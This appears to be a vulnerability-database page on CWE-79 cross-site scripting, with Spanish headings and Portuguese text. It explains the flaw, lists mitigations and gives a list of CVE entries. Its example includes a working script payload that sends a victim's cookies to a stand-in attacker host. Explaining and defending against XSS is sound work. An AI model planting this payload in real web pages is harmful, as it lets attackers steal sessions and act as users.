Fallos del tipo CWE-79

30.519 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-87948LOWSAML SSO - Service Provider - Moderately critical - Cross-site scripting - SA-CONTRIB-2026-146EPSS 0.2%CVE-2026-14000MEDIUMInappropriate implementation in XML in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to inject arbitrary scripts or HTML (UEPSS 0.2%CVE-2025-4763MEDIUMXSS in Aida Computer's HotspotEPSS 0.2%CVE-2026-15127MEDIUMInappropriate implementation in WebGL in Google Chrome prior to 150.0.7871.115 allowed a remote attacker to inject arbitrary scripts or HTMLEPSS 0.2%CVE-2026-14068MEDIUMInappropriate implementation in Omnibox in Google Chrome on iOS prior to 150.0.7871.47 allowed a remote attacker who convinced a user to engEPSS 0.2%CVE-2025-46253MEDIUMWordPress GutenKit plugin <= 2.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-27347MEDIUMWordPress Direct Checkout Button for WooCommerce plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-27329MEDIUMWordPress EZ InLinkz linkup plugin <= 0.18 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-62263MEDIUMMultiple cross-site scripting (XSS) vulnerabilities in Liferay Portal 7.3.7 through 7.4.3.103, and Liferay DXP 2023.Q3.1 through 2023.Q3.4, EPSS 0.2%CVE-2025-46228MEDIUMWordPress Event post plugin <= 5.9.11 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-12064MEDIUMWP2Social Auto Publish <= 2.4.7 - Reflected Cross-Site Scripting via PostMessageEPSS 0.2%CVE-2025-12123MEDIUMCustomer Reviews Collector for WooCommerce <= 4.6.1 - Reflected Cross-Site ScriptingEPSS 0.2%CVE-2025-12017MEDIUMVNPAY for Woocommerce <= 1.0.0 - Reflected Cross-Site ScriptingEPSS 0.2%CVE-2026-17962MEDIUMInappropriate implementation in Blink in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to inject arbitrary scripts or HTML EPSS 0.2%CVE-2024-30126MEDIUMHCL BigFix Compliance is affected by a missing X-Frame-Options Header vulnerabilityEPSS 0.2%CVE-2026-17728MEDIUMInappropriate implementation in Extensions in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to inject arbitrary scripts or EPSS 0.2%CVE-2026-17734MEDIUMInappropriate implementation in Autofill in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to inject arbitrary scripts or HTEPSS 0.2%CVE-2026-27122MEDIUMSvelte SSR does not validate dynamic element tag names in `<svelte:element>`EPSS 0.2%CVE-2025-46236MEDIUMWordPress HTML Forms plugin <= 1.5.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-87869MEDIUMFilter Everything — WordPress & WooCommerce Filters <= 1.9.6 - Reflected Cross-Site Scripting via Elementor Posts Widget Pagination URLEPSS 0.2%